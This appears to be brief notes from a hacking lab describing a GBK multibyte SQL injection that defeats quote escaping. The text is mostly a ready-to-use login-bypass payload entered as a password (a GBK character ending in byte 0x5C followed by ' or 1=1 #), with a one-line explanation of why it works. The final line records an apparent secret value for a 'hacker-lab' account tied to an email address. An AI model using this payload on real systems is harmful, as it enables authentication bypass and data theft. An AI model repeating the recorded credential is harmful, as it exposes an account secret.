5C in hex, which translates to a backslash, which in turn tricks the parser to thinking the single quote is already escaped
δΉ—' or 1=1 # as password (any gbk character, that ends in 5C in hex works, this means any char with 81 to FE in the first place)
hacker-lab of myadmin@pss.com is jnNZE4naCXzUkTjeRnWw